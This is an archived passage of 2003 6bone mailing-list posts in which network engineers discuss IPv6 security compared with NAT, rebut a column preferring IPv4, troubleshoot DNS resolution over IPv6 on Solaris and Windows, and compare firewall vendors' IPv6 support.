studied programs that did the actual connection to the net and
protected poorly written programs).  We routed through screend
and later IPFilter (pf, ipfw and ipchains are similar tools)
certain protocols in.

> Then is it really possible to protect IPv6 networks (with global 
> unicast addresses) as safe as Ipv4 networks using NAT ?
It is as possible to protect IPv6 networks as it is to protect
IPv4 networks.  Bastion firewalls and network security principles
don't change with IPv6.

IP version agnostic, IPSec actually may REDUCE security in some
cases, just like ssh tunnelling can be the firewall admins nightmare.
An IPSec connection from a poorly patched machine to a "bad" machine
(or a machine that relays dangerous information) means that the
firewall that might be in between cannot "see" the bad data being
sent in.  Scanning programs see an encrypted stream, not an attack
that they may be able to halt.



Quoting BEGIN, Thomas (tbegin@tf1.fr):
> Security... that's a core problem for a lot of engineers !
>
> With IPv4, a lot of enterprises networks were set up with private addresses (e
g 10.x.x.x ). That implies that computers inside the network are unreachable fro
m outside (eg Internet).
>
> Since IPv6 offers a large scale of addresses, I've heard that companies could
address their machines with global unicast addresses (public addresses) and also
 benefit fully from IPsec and peer to peer applications.
> That's nice and it is said that it should improve security (IPsec totally used
 from sender to receiver).  
> But in the other hand, isn't it dangerous to address machines with global unic
ast address and thus make them reachable directly from anywhere and by anybody..
. Besides NAT is often acknowledged as a good shield to secure networks.
>
> Then is it really possible to protect IPv6 networks (with global unicast addre
sses) as safe as Ipv4 networks using NAT ?
>
> I realize this is a big topic and may be there is no easy response but getting
 a high performance security is a fundamental factor for the deployement of IPv6
.
>
> But if you have any idea (know enterprises that use public addresses for their
 network) please let me know ...
>
> PS: using site local addresses inside IPv6 networks doesn't solve the problem
... ;-))

From robert@digi-data.com Wed Mar 12 10:28:09 2003
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Dear Darragh Kennedy,

That Network World commentator must have just been venting his or her
frustration with the slow arrival of universal IPv6 application support and
connectivity.  We shall see below.

Darragh Kennedy wrote:
> 
> I'll stick with IPv4 for now, thank you
> By CHUCK YOKE
> Network World, 03/13/00
> I don't get it. Maybe it's because I'm over 40 and the brain cells are
> dying, but there are many things happening today in the world of technology
> that I just don't understand.
> Take IPv6, for example. I just don't get it. Why in the world would I be
> interested in investing the time, money and effort it is going to take to
> convert my IPv4 networks to IPv6?

Maybe one should not just go and "convert your IPv4 networks to IPv6".  IPv6 was
designed from the outset to live side-by-side with IPv4 for as long as it takes
the customer to decide that an exclusive IPv6 network is the one that that
customer wants to operate.  No "forklift conversion" is either necessary or
desirable.

> At one time I was very interested in IPv6. It was going to solve many of my
> network problems. The extended address space would spare me from having to
> create and maintain a variable-length, bit-level subnet addressing scheme.

With IPv6 one would still be able to implement a variable-length, bit-level
subnet addressing scheme.  Only now with IPv6 it is no longer an absolute
necessity.

> The built-in authentication and security would let me sleep better at night,
> knowing that only secure and authenticated packets were entering my
> networks. The quality of service (QoS) would enable me to fully integrate my
> voice and data over IP.

All of the same network and engineering problems that existed with IPv4 that
IPv6 were to address still exist.  While the commentator's thinking and
subsequent actions are understandable, it is not necessarily true that those
were his only options to act.

> But then a crisis happened - I ran out of time. I needed IPv6 two years ago,
> and it wasn't there. And I couldn't wait any longer. So I did what everyone
> else in the world was doing: I integrated a variety of IPv4-based products
> and services into my network.

The main things that slow the universal adoption of IPv6 are the following.

 * Lack of availability of IPv6 service from many ISPs around the world.
 * Application support is nowhere near where it should be as yet.

Both of these things are, in a way, chicken-and-egg problems.  You see, the ISPs
and application providers feel they should not invest in building IPv6 support
without the requisite customer demand, while the customers feel that they cannot
adopt IPv6 without the requisite availability of IPv6 aware applications and
IPv6 capability.  It is not that it is very hard to do either, for if the
application providers adhere to the new Sockets specification in writing their
applications, it is possible to deliver IPv6 ready applications without a large
amount of major modifications to the existing code base.  In the case of the
ISPs, I am reasonably sure that wherever the ISPs have implemented some level of
IPv6 connectivity, there have been customers (possibly early adopters
admittedly) who were only too eager to jump in whole-heartedly.

> My address needs were met by migrating my network to an RFC 1918-compliant
> unregistered IP address.

My question to the commentator in response to the above statement would be "Are
you really comfortable with what you have implemented as a solution, or are you
just living with it because you do not really imagine something better could be
available?"  

> I now have IP addresses galore and can use a very
> simplistic subnet-masking scheme to segment and identify my networks by
> building and floor. My network technicians can tell from the second and
> third octet exactly where a device is located.

It is still possible to do this with IPv6, probably too much so, since the
currently proposed addressing schemes allow you to allocate as many as 64 bits
of address to the node, and the site itself can get as many as 16 of the
remaining bits as site identifier bits.

> For security, I chose a firewall with features that, when combined with the
> appropriate access control lists, ensure the integrity of both incoming and
> outgoing transmissions.

IPv6 was never intended to eliminate the need for firewalls, though it would
probably radically change the way firewalls are built, deployed and used.  IPv6
was created primarily to deal with the availability of IP addresses issue, while
still maintaining the end-to-end model that originally motivated the creation of
IPv4, and which IPv4 can no longer maintain, especially with the use of RFC1918
addresses and NAT.  Firewalls can never maintain the integrity of both incoming
and outgoing transmissions.  That is the job of the end-nodes.  All that a
firewall can do (and some would argue that they do not do that too well) is to
ensure that the traffic that are forwarded through the firewall are in some
loose compliance with some usually poorly specified policy.

> I implemented a combination of Remote Authentication
> Dial-In User Service and Challenge Handshake Authentication Protocol to
> ensure that local, Internet-based and remote dial-in connections are granted
> only to authenticated users with the appropriate access levels. And for
> encrypting sensitive documents and files, I implemented PGP - inexpensive,
> easy and best of all, it works!

IPv6, while it can implement all of these things itself, was never meant (at
least in my view) to eliminate or replace these things.  It can significantly
augment them, though.

> My QoS needs were met by a combination of bigger pipes and faster equipment.
> 100Base-T and 1000Base-T Ethernet give me more than enough bandwidth, and
> the advances in Application Specific Integrated Circuit technology ensure
> that packet serialization delay is kept to a minimum. For the more stringent
> QoS I may need in the coming years, I have a plethora of IPv4-based choices,
> including policy-based networking, Differentiated Services, TCP rate shaping
> and the old standby, ATM.

Admittedly, IPv6 has come up short (again in my view) in this respect.  Pending
the completion of the standard specification of the treatment of the IPv6
flow-label field and the integration of that with the networking hardware, we
might never have true QOS built into IPv6 if the flow-label thing is the only
way it can be done (again, just my opinion).

> So here I am, manager of an IPv4-based network that works fine, is addressed
> in a logical and easy-to-maintain manner, is secure, and integrates my voice
> and data. I just don't see any need to convert my functional IPv4 network to
> IPv6.

There probably really is no need for you to convert your IPv4 network to IPv6. 
Although, with your usage of RFC1918 addressing and NAT, you are on a rapid
collision course with the end-to-end problem.

Yours sincerely,
Robert Honore.

From chuck@degler.net Wed Mar 12 11:56:38 2003
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From: Chuck Yerkes <chuck+6bone@snew.com>
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Wow!  My opinion is that in 2000 (03/13/00), that this was
a reasonable view.  IPv6 and indeed the 6bone wasn't "there."

I had early IPv6 support in BSD, none in vendor supplied Unix.
Cisco was barely talking about it.

Quoting Darragh Kennedy (9725415@student.ul.ie):
> I'll stick with IPv4 for now, thank you
> By CHUCK YOKE
> Network World, 03/13/00 
> I don't get it. Maybe it's because I'm over 40 and the brain cells are
> dying, but there are many things happening today in the world of technology
> that I just don't understand. 
> Take IPv6, for example. I just don't get it. Why in the world would I be
> interested in investing the time, money and effort it is going to take to
> convert my IPv4 networks to IPv6?

From chuck@degler.net Wed Mar 12 12:07:15 2003
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> I'll stick with IPv4 for now, thank you
> By CHUCK YOKE
> Network World, 03/13/00 

had this been written THIS week, not three years ago, this would be my reply
(and yes, I wrote this before catching that "00" among all the 3s).

I'm Bcc mr yoke out of basic courtesy and perhaps a chance
for him to revisit the issue some time.  We're really running out
of IPv4; china is active (if mainly spam), the net's growth
hasn't slowed in absolute numbers.

Posted for opinion mongering on the 6bone mail list, I'll
not avoid the temptation...
------------------------------------------

Network World...
Articles for managers of people running Microsoft networks.  They
often have a fear of alternatives and look for rationalizations
and Network World helps them keep that justified.  If it's not from
MS, it should be questioned deeply.  (I wish their "web" site
actually contained more working HTML.  I'm sure it's lovely on IE,
but that does not a web site make.  Microsoft sites are tiresome.)

They seem to reprint Microsoft Press releases and lost huge
credibility with me when they described Exchange as a cost competitor
to a Unix box running POP with Eudora (or $FestivalOfOptions).
Ever try to not use OutBreak with your Exchange server? My peer
hated our chosen ZMail (our standard POP client), so we gave him
another of 30 clients.  No pain to our staff at all).  I've moved
clients from 30 high maintainance (7-8 admins) boxes running Exchange
and the support machines it needs to a 4CPU box running IMAP with
a front end allowing a secretary to add users and 1/2 of an admin
to run the machine.  Oh, it was Unix, so not to be trusted.
(in the meantime, those 7 admins are doing other stuff to make
their network a better place, not wasting their time banging their
heads against the cabinets and the server gets rebooted every 6-8
months as a matter of course).


> I'll stick with IPv4 for now, thank you
> By CHUCK YOKE
> Network World, 03/13/00 

> I don't get it. Maybe it's because I'm over 40 and the brain cells
> are dying, but there are many things happening today in the world
> of technology that I just don't understand.
>
> Take IPv6, for example. I just don't get it. Why in the world
> would I be interested in investing the time, money and effort it
> is going to take to convert my IPv4 networks to IPv6?
>
> At one time I was very interested in IPv6. It was going to solve
> many of my network problems. The extended address space would
> spare me from having to create and maintain a variable-length,
> bit-level subnet addressing scheme.  The built-in authentication
> and security would let me sleep better at night, knowing that only
> secure and authenticated packets were entering my networks. The
> quality of service (QoS) would enable me to fully integrate my
> voice and data over IP.
>
> But then a crisis happened - I ran out of time. I needed IPv6 two
> years ago, and it wasn't there. And I couldn't wait any longer.
> So I did what everyone else in the world was doing: I integrated
> a variety of IPv4-based products and services into my network.

Unlike many Network World managers who lived in proprietary networks
until it was clear that they didn't really scale or interoperate,
many of my peers had been using IPv4 based products and services
in our networks throughout the 80s.

I suspect Mr Yoke's peers or readers were the ones who wondered what
those "@" and "!" things in my business cards' email address meant in
1990.  "Oh, we have email too!", they'd exclaim.  [Yes, but you haven't
been tossing mail around from your network through random networks to
its destination at a place you have no direct relationship with.  You
can send mail to your cubicle neighbor]

I suspect Mr Yoke's readers were the ones who said, "So we could use
this 'internet' stuff *inside* our networks?  Golly.  We'll call it
the 'Intranet'."  No, we'll call it "the network".  It's inter-
when there's more than one.

> My address needs were met by migrating my network to an RFC
> 1918-compliant unregistered IP address.

it would appear, Mr Yoke hasn't gone through merging networks that
both use the same RFC1918 networks.  (I now tend towards a personally
owned, unrouted Class C to avoid that).  Managing two NAT boxes
facing each other while you redo lots of machines and configurations
that use addresses rather than names is an experience to be avoided.

I also recall an article where he suggest using other addresses
like 5/8 (5.0.0.0)and 7/8.  The CEO of a client once pulled me aside
and asked why, every time he browsed to his alma mater, he got a
web page on some local Oracle server we'd setup to show statuses.
I had to explain that his network guys had just made up addresses
and it turned out that the oracle server had the same address as
his school's web server.  And no, we can't fix it quite yet.
Grabbing address is bad.   You don't know if China might get 5.


> I now have IP addresses galore and can use a very simplistic
> subnet-masking scheme to segment and identify my networks by
> building and floor. My network technicians can tell from the second
> and third octet exactly where a device is located.

I can look at my IPv6 network addresses and see exactly where the
device is.  NAT is often unacceptable.  Working at places with
upwards of 80 legit Class Bs and 300 Class Cs, secured connections
needed to come into a large variety of systems making NAT an option
with close to zero managability.  With several connections to the
Internet, from several locations along with connections to partners
with whom we exchanged realtime data, you don't even want to ponder
NAT.  Ever try to get 80 Class B's after 1994?  Me neither.

Mr Yoke is clearly American.  America owns 75% of the address space.
I have a former boss who has an entire class B for his network of 8
machines (down from our company's 300 machines in 4 locations at
one time that got us the Class B in 1991).  Apple has a Class A that,
I imagine, isn't very densely populated given nearly 17 MILLION
addresses and, what? 3000 employees.

Japan has led research in IPv6 with Europe closely behind.  We don't
have the address space in IPv4 to cover most of the still unwired
Asian and African countries.  India and Africa are rapidly wiring;
China is joining the information age in fits and starts.

NAT has slowed the sucking up of address space, but we're rapidly
running out.  I'll enjoy his panic when he realized that his need
for new addresses for, say, another firewall is met with: "Oh, yeah,
we're almost out so we charge several thousand per year for 8 addresses."
Or even "Nope, all out.  Try later."  That's gonna be a fun day.

I've being deploying IPv6 in testing mode for a couple years. In
that time, Sun has come out with solid IPv6 in Solaris 8 (and now
9).  IBM's AIX, SGI's Irix, all the BSDs, Linux all have good IPv6
implementations (many thanks to work by the KAME institute in Japan).
Cisco's IOS now has IPv6 support, which was critical.  This has changed
since the article in spring of 2000.

Even MacOS X and Microsoft have IPv6!  Given Microsoft's aversion to
innovation, this must mean that IPv6 is becoming solid and ready for
mainstream.  I await their press release announcing their invention
of it.  (I expect their subtle alteration of IPv6 for the own ends.)


> For security, I chose a firewall with features that, when combined
> with the appropriate access control lists, ensure the integrity
> of both incoming and outgoing transmissions. I implemented a
> combination of Remote Authentication Dial-In User Service and
> Challenge Handshake Authentication Protocol to ensure that local,
> Internet-based and remote dial-in connections are granted only to
> authenticated users with the appropriate access levels. And for
> encrypting sensitive documents and files, I implemented PGP -
> inexpensive, easy and best of all, it works!

I fail to see what this has to do with either IPv6 or IPv4.  I suppose
PGP is cute if you want to handle key management and a lack of
infrastruture.  I prefer PKI using SSL with public keys kept in LDAP
directories.  But neither has anything to do with the network layer
- it's all application layer.

As I drive my downtown with a PDA (Zaurus) running 802.11b, I find
several otherwise "secure networks" with wireless APs running wide
open behind their firewalls.  The firewalls are dutifully watching
the doors.  That PC on the ethernet with the wireless left on is
holding open the windows for those who avoid front doors.  Don't drop
that basket, you'll need those eggs.

> My QoS needs were met by a combination of bigger pipes and faster
> equipment.  100Base-T and 1000Base-T Ethernet give me more than
> enough bandwidth, and the advances in Application Specific Integrated
> Circuit technology ensure that packet serialization delay is kept
> to a minimum. For the more stringent QoS I may need in the coming
> years, I have a plethora of IPv4-based choices, including policy-based
> networking, Differentiated Services, TCP rate shaping and the old
> standby, ATM.

I do like "My QoS needs were met by bigger pipes..."
Well yeah.  I'd like to have Internet2 connections to my work place
- multi-gigabit to Europe and around the country would be neat.
It would avoid problems of browser traffic slowing down other, more
important traffic.

But offering bigger pipes as a "solution" is like saying: "I needed
to better organize my closet, but instead moved into a place with a
couple extra rooms so i keep my clothes piled in there."

The hacks of bandwidth management boxes spewing "ICMP Source Quench"
packets to allow schools and businesses to have SOME non-Web traffic
reach them are Band-Aids (adding MORE boxes and more management
load) until true QOS solutions are available.

Pipes fill.  I'm glad Gigabit is "more than enough bandwidth" for Mr
Yoke.  On a LAN, it often may be, I'm looking forward to actually
getting 10Gb nets available in 2003.  My connections to the Internet
tend to be smaller than that, even after 3 years.  QoS is still needed.

> So here I am, manager of an IPv4-based network that works fine,
> is addressed in a logical and easy-to-maintain manner, is secure,
> and integrates my voice and data. I just don't see any need to
> convert my functional IPv4 network to IPv6.

A friend asked, in 2000: Why would I ever need IPv6? My offered
answer was "Hi, this is $CellPhone Company, we'd like 64 Class A
networks, please"

He offered that Cell phones don't need IP addresses, they are just
phones.  I recalled this as I browsed the web for directions on my
phone.  I recalled it as I attached it to my Mac in the the (moving)
car and got a pretty fast connection to get my mail which had the
address so I could use a map to get directions.  My bad habits of
forgetting to bring addresses is mitigated by IP over cell.

A packed Class A has enough addresses for the some of our states.
Got 50-some?  How about the rest of the world.  NAT works while I'm
one of 0.5% doing this.  But my computer phobic friends are getting
phones that do IM and take pictures and other non-realtime tasks.
Cell companies can write proprietary means to handle this, but they
were involved in laying the groundwork for IPv6.  It was the utility
companies who pushed for such a huge address space.  "Imagine an
address for every outlet."


Migration and deployment:
The neat thing is that my boxes have both IPv4 *and* IPv6 addresses.
As the tools I use became IPv6 aware, they use the IPv6 addresses.
The other tools just aren't aware of it and use IPv4.  It's invisible
to me as a user and as an administrator.

So migration can take place *over YEARS* with little to no pain.  And
I get to learn.

When I mounted a disk from a server, it took me some time to realized
it was mounted over IPv6 because the last OS upgrade now supported
it.  I just asked it to mount the file system.

And that's a goal.


As a subnet stops needing IPv4, I can turn IPv4 off.  Those data may
get turned into IPv4 at the edge of an IPv4 network - it's little
effort to setup, but going to IPv6 machines it stays in 6.  It's not
like that night in 1980 when NCP (Network Control Protocol) TCP's
predecessors) was turned off and TCP was turned on.  Large ISPs and
enterprises can bring it in slowly and methodically.

And that's a goal.


Well, your large ISP may be using it in their core of networks right
now.  At the edge, you see your old IPv4 stuff, but it may be going
from their router to the other side of their network, or even into
the target network over IPv6.  And you don't know.

And that's a goal.


This month, the IETF groups are meeting to plan on how to shut
down the "6bone" - an IPv6 tunnel faux-backbone - in a few years.
Why?  Because ISPs, largely not in the US, are offering IPv6.
It's available on most operating sytems offered since 2001.
It's here.


Why is it important to use now, before we *need* it?  Because then we
won't be caught unaware when we need it.  Experience in tools before
you have to use them is good.

Now, feel free to ignore it.  I made a good living in the 90's working
with IPX/SPX experts because I knew TCP/IP and how to run a Cisco
router and how to setup a network right.  I've made a good living
migrating networks using addresses that were "just made up" before
they attached to the Internet. I've helped merged companies that both
used 10/8 addresses (that's 10.x.x.x, RFC1918 addresses).  I'd be
happy to take your money when you suddenly find yourself rushing to
implement IPv6.

> I just don't see any need to convert my functional IPv4 network to IPv6.
Perhaps I can rephrase this as: "IPv4 is enough for us."

I'll put that up next to "nobody needs more than 640K" and other
visionary statements.  The list is near my Intel box that has to boot
into the first 8GB, because nobody would ever have more than 8
GigaBytes(!) of harddrive.  (3 disks in software raid give me 300GB
of files served without IPX or SMB or other proprietary protocols.
My machines that were never expected to run MS operating systems have
no problems with very large drives or lots of RAM.  Coincidence?)


chuck yerkes
chuck@2003.snew.com
Internet Consultant
IPv4 and IPv6 spoken here.

From tjc@ecs.soton.ac.uk Wed Mar 12 12:08:45 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
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I think you'll find this only works on Linux and (Free)BSD.

One solution is to run a local BIND cache that listens on IPv4 localhost
and forwards queries over IPv6.

If Solaris can now resolve over v6, I'd like to know :)

Tim

On Wed, Mar 12, 2003 at 03:15:02PM +0800, yjchui wrote:
> Hello:
>     Does anybody know that how to specify IPv6 DNS server on a IPv6-only host? (solaris/windows)
>     I have tried to edit /etc/resolv.conf on solaris 8 with adding one line:  "nameserver 3ffe:3600:8::1"
>     But it seems not work!
> 
>     Is it possible to specify an IPv6 DNS server on windows system? (XP, 2000 or .Net)
> 
> Thanks
> 
> Yann-Ju Chu
> E-mail: yjchui@cht.com.tw

From tjc@ecs.soton.ac.uk Wed Mar 12 12:09:31 2003
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] which kind of tool for monitoring bandwhich
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Try ttcp.

On Wed, Mar 12, 2003 at 04:31:48AM +0000, Abdul Basit wrote:
> i doubt iperf does support multicast ?
> 
> 
> On Tue, 11 Mar 2003, Jeroen Massar wrote:
> 
> > Galbo Emanuele wrote:
> >
> > > HI all I am testing an Ipv6 multicast test plant and I need
> > > to test band-usage.Could you suggest me a friendly tool doing that?
> > > Thank you.Best Regards
> >
> > IPerf:
> >
> > www.google.com -> iperf
> >
> > http://dast.nlanr.net/Projects/Iperf/
> >
> > > ====================================================================
> > > CONFIDENTIALITY NOTICE
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> > > ====================================================================
> >
> > Eek, public mailinglists can't be confidential, you really must be
> > kidding.
> >
> > Greets,
> >  Jeroen
> >
> > _______________________________________________
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> > 6bone@mailman.isi.edu
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> >
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From tlangdon@atctraining.com.au Wed Mar 12 13:16:11 2003
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From: Tony Langdon <tlangdon@atctraining.com.au>
To: "'Darragh Kennedy'" <9725415@student.ul.ie>,
   "'6bone@mailman.isi.edu'"
	 <6bone@mailman.isi.edu>
Subject: RE: [6bone] came across this article any opinions??
Date: Thu, 13 Mar 2003 08:16:06 +1100
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> So here I am, manager of an IPv4-based network that works 
> fine, is addressed
> in a logical and easy-to-maintain manner, is secure, and 
> integrates my voice
> and data. I just don't see any need to convert my functional 
> IPv4 network to
> IPv6.

Sounds like he's found an IPv4 solution - and doesn't have to wrestle with
NAT screwing up a plethora of proprietary protocols which insist on making
incoming connections to random ports, or several voice/videoconferencing
systems, each with their own protocol.

I tend to play with whatever comes along, as well as regularly using a
number of specific applications which have specific requirements when it
comes to open ports, etc, and quite frankly, NAT is a pain.  Native IPv6
with each machine having public IP(v6) addresses would make life so much
easier.  On some of the support lists I'm on, the most FAQ is "I'm trying to
run two copies of XXX on my network.  I have a (NAT) router with 3 PCs.  Had
one working fine, but I can't get the second one to work!!!   Help!" (the
answer being due to the fact the app needs a couple of UDP ports forwarded
for incoming traffic).

Ironically, it may be the home/hobbyist users who lead the IPv6 push....  if
it can be packaged into a slick advertising campaign with a catchy slogan
(and maybe a couple of IPv6 networked cellphones thrown in... :) ).

This correspondence is for the named person's use only. It may contain
confidential or legally privileged information or both. No confidentiality
or privilege is waived or lost by any mistransmission. If you receive this
correspondence in error, please immediately delete it from your system and
notify the sender. You must not disclose, copy or rely on any part of this
correspondence if you are not the intended recipient.

Any opinions expressed in this message are those of the individual sender.


From yasuhiro@nttv6.jp Wed Mar 12 17:25:27 2003
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Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host
From: SHIRASAKI Yasuhiro <yasuhiro@nttv6.jp>
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>     I have tried to edit /etc/resolv.conf on solaris 8 with adding one line:  "nameserver 3ffe:3600:8::1"
>     But it seems not work!
>     Is it possible to specify an IPv6 DNS server on windows system? (XP, 2000 or .Net)

Neither solaris8 nor windows supports an IPv6 transport DNS query.

--
SHIRASAKI Yasuhiro

From yjchui@cht.com.tw Wed Mar 12 20:00:07 2003
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   I have tried to add
          nameserver [3ffe:3600:8::1]
  But it still does not work! I will try this on FreeBSD/Linux.

Thanks to everybody

Yann-Ju Chu
E-mail: yjchui@cht.com.tw
----- Original Message -----
From: "Sascha E. Pollok" <sp@iphh.net>
To: <yjchui@cht.com.tw>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, March 12, 2003 10:30 PM
Subject: Re: [6bone] How to specify an IPv6 DNS server on the IPv6-only host


> > >     Does anybody know that how to specify IPv6 DNS server on a
IPv6-only
> > >     host? (solaris/windows) I have tried to edit /etc/resolv.conf on
> > >     solaris 8 with adding one line: "nameserver 3ffe:3600:8::1" But it
> > >     seems not work!
> >
> >
> > what if you try with square brackets? so like:
> >
> > nameserver [3ffe:3600:8::1]
> >
> > >     Is it possible to specify an IPv6 DNS server on windows system?
(XP,
> > >     2000 or .Net)
> >
> > Don't know :) probably not, or via the ipv6 tool in dos.
>
> Did you configure /etc/nsswitch.conf to query for "6" hosts?
>
> Regards
> Sascha
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From stansley@microsoft.com Wed Mar 12 20:05:14 2003
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From: "Stewart Tansley" <stansley@microsoft.com>
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> >  Is it possible to specify an IPv6 DNS server on windows system?
(XP, 2000 or .Net)
>
> Neither solaris8 nor windows supports an IPv6 transport DNS query.

Not true, the forthcoming Windows Server 2003's DNS client and server
supports it -- so, to enable DNS transport over IPv6:

	dnscmd /Config /EnableIPv6 1

To view the current state:

	dnscmd /Info /EnableIPv6

I don't think there is a GUI equivalent to these commands available at
this time though.

This command is documented in the online help. Search on "dnscmd ipv6"
to get directly to it in the first hit.

To get the Windows Server 2003 beta:
http://www.microsoft.com/windowsserver2003/preview/obtaining.mspx

As for clients, I know that Windows CE .NET 4.1 supports it, but I'd
have to check for Windows XP and Windows XP Embedded.

Stewart Tansley
http://www.microsoft.com/embedded
http://www.microsoft.com/ipv6


From hank@att.net.il Thu Mar 13 04:01:10 2003
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From: Hank Nussbacher <hank@att.net.il>
Subject: Re: [6bone] Security over IPv6 networks
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At 12:50 PM 12-03-03 -0500, Chuck Yerkes wrote:
>NAT is not security.  Recent exploits have further hammered
>this home, but it's never been about security.  It's been about
>dealing with 8 IP addresses and 200 machines.
>
>Can it help security some?  Sure.  I made by friend with Windows
>and DSL get a NAT box.  Badly written client applications can easily
>be tricked into downloading bad code eliciting buffer over flow
>or, for the really bad programs like Outlook and IE, running code
>from strangers.  All through NAT.
>
>Is NAT a firewall?  Only for the naive.

Checkpoint will soon be releasing their "Calgary" release (FP4) - Early 
Availability 2 should be ready next week.

 From their beta documentation of FP4:

IPv6
22)In Calgary,FireWall-1 supports IPv6 out of the box.
Supported platforms
•Solaris 8/9
•Nokia IPSO 3.7
Supported features
•Dual stack –both IPv6 and IPv4 on the same interface.
•IPv6 access control with accept/drop/reject/log actions.
•Simple TCP and UDP services,and ICMPv6.
•IPv6 FTP service (active and passive).
•IPv6 Host and Network objects.
•Using IPv6 &IPv4 objects in the same rule base.
•IPv6 logging and IPv6 filters.
•Implied rules for enabling traffic needed for IPv6 discovery IPv6 fragments.
•Using IPv6 requires a special license which is not included in the trial 
period and EVAL licenses.

-Hank


From tjc@ecs.soton.ac.uk Thu Mar 13 06:08:14 2003
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So where do I buy a copy of Windows Server 2003 now? :)

I am also a little confused - the Server package has a client and server,
so you can install the client on a non-Windows Server machine?  

Tim

On Wed, Mar 12, 2003 at 08:05:07PM -0800, Stewart Tansley wrote:
>  
> > >  Is it possible to specify an IPv6 DNS server on windows system?
> (XP, 2000 or .Net)
> >
> > Neither solaris8 nor windows supports an IPv6 transport DNS query.
> 
> Not true, the forthcoming Windows Server 2003's DNS client and server
> supports it -- so, to enable DNS transport over IPv6:
> 
> 	dnscmd /Config /EnableIPv6 1
> 
> To view the current state:
> 
> 	dnscmd /Info /EnableIPv6
> 
> I don't think there is a GUI equivalent to these commands available at
> this time though.
> 
> This command is documented in the online help. Search on "dnscmd ipv6"
> to get directly to it in the first hit.
> 
> To get the Windows Server 2003 beta:
> http://www.microsoft.com/windowsserver2003/preview/obtaining.mspx
> 
> As for clients, I know that Windows CE .NET 4.1 supports it, but I'd
> have to check for Windows XP and Windows XP Embedded.
> 
> Stewart Tansley
> http://www.microsoft.com/embedded
> http://www.microsoft.com/ipv6
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

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Does anyone know if the Nokia firewalls will also be on the same path soon?

Tim

On Thu, Mar 13, 2003 at 02:00:03PM +0200, Hank Nussbacher wrote:
> At 12:50 PM 12-03-03 -0500, Chuck Yerkes wrote:
> >NAT is not security.  Recent exploits have further hammered
> >this home, but it's never been about security.  It's been about
> >dealing with 8 IP addresses and 200 machines.
> >
> >Can it help security some?  Sure.  I made by friend with Windows
> >and DSL get a NAT box.  Badly written client applications can easily
> >be tricked into downloading bad code eliciting buffer over flow
> >or, for the really bad programs like Outlook and IE, running code
> >from strangers.  All through NAT.
> >
> >Is NAT a firewall?  Only for the naive.
> 
> Checkpoint will soon be releasing their "Calgary" release (FP4) - Early 
> Availability 2 should be ready next week.
> 
> From their beta documentation of FP4:
> 
> IPv6
> 22)In Calgary,FireWall-1 supports IPv6 out of the box.
> Supported platforms
> •Solaris 8/9
> •Nokia IPSO 3.7
> Supported features
> •Dual stack –both IPv6 and IPv4 on the same interface.
> •IPv6 access control with accept/drop/reject/log actions.
> •Simple TCP and UDP services,and ICMPv6.
> •IPv6 FTP service (active and passive).
> •IPv6 Host and Network objects.
> •Using IPv6 &IPv4 objects in the same rule base.
> •IPv6 logging and IPv6 filters.
> •Implied rules for enabling traffic needed for IPv6 discovery IPv6 
> fragments.
> •Using IPv6 requires a special license which is not included in the trial 
> period and EVAL licenses.
> 
> -Hank
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From basit@basit.cc Thu Mar 13 06:14:02 2003
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> I think the IPv6 'jobs' are non-existant. There will be a
> demand for engineers which can deploy this protocol, just
> as any other (ATM, MPLS, IPv4, PPPoX).

that's what i see it as also, but the point was there
are not any demand for such an engineers currently
as IPv6 is not widely deployed.

> In my job, I am confronted with IPv6 on a regular (allmost daily) base,
> because the ISP I work for offers this type of connectivityto our
> customers.

You'r lucky  ! :-)

> groet,
> Pim
>
> --
> ---------- - -    - - -+- - -    - - ----------
> Pim van Pelt                 Email: pim@ipng.nl
> http://www.ipng.nl/             IPv6 Deployment
> -----------------------------------------------
>

From tbegin@tf1.fr Thu Mar 13 06:37:08 2003
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>>     I have tried to edit /etc/resolv.conf on solaris 8 with adding one line:  "nameserver 3ffe:3600:8::1"
>>     But it seems not work!
>>     Is it possible to specify an IPv6 DNS server on windows system? (XP, >>2000 or .Net)

>Neither solaris8 nor windows supports an IPv6 transport DNS query.
hi,

not really true...
microsoft will support IPv6 natively in the windows 2003 server
it's already possible to download a beta version of this OS

-Thomas

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On Wed, 12 Mar 2003, Stewart Tansley wrote:
> On Thu, 13 Mar 2003, SHIRASAKI Yasuhiro wrote:

> > Neither solaris8 nor windows supports an IPv6 transport DNS query.
>
> Not true, the forthcoming Windows Server 2003's DNS client and server
> supports it -- so, to enable DNS transport over IPv6:

Actually, since Shirasaki correctly used the present tense form
of the verb "support", his statement is true.  Your use of the
modifier "forthcoming" indicates that this support is something
that'll be happening in the future.  It would've been more correct
to write: "...the forthcoming Windows Server 2003's DNS client
and server /will support/ it..."

HTH!

-brian.


From danne@wiberg.nu Thu Mar 13 07:38:37 2003
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Taken from the Nokia supportsite, current version is 3.6FCS6.

Subject: Can Voyager be accessed via an IPv6 Network?
Product Line: IPSO (Operating system)
Category: IPV6
Version:
Date Modified: 09/19/2001

Description: IPSO 3.3 and later support IPv6 as part of the Operating 
System. Check Point itself does not support IPv6.

Solution: As of IPSO 3.4.1, the Voyager interface is not accessible over 
IPv6. This is because the underlying HTTP server does not support IPv6.

Work is underway to resolve this issue. IPSO 3.6 and later will support 
Voyager over IPv6 out of the box.

//danne

-- 
Daniel Wiberg
www.wiberg.nu


Tim Chown wrote:

>Does anyone know if the Nokia firewalls will also be on the same path soon?
>
>Tim
>
>On Thu, Mar 13, 2003 at 02:00:03PM +0200, Hank Nussbacher wrote:
>  
>
>>At 12:50 PM 12-03-03 -0500, Chuck Yerkes wrote:
>>    
>>
>>>NAT is not security.  Recent exploits have further hammered
>>>this home, but it's never been about security.  It's been about
>>>dealing with 8 IP addresses and 200 machines.
>>>
>>>Can it help security some?  Sure.  I made by friend with Windows
>>>and DSL get a NAT box.  Badly written client applications can easily
>>>be tricked into downloading bad code eliciting buffer over flow
>>>or, for the really bad programs like Outlook and IE, running code
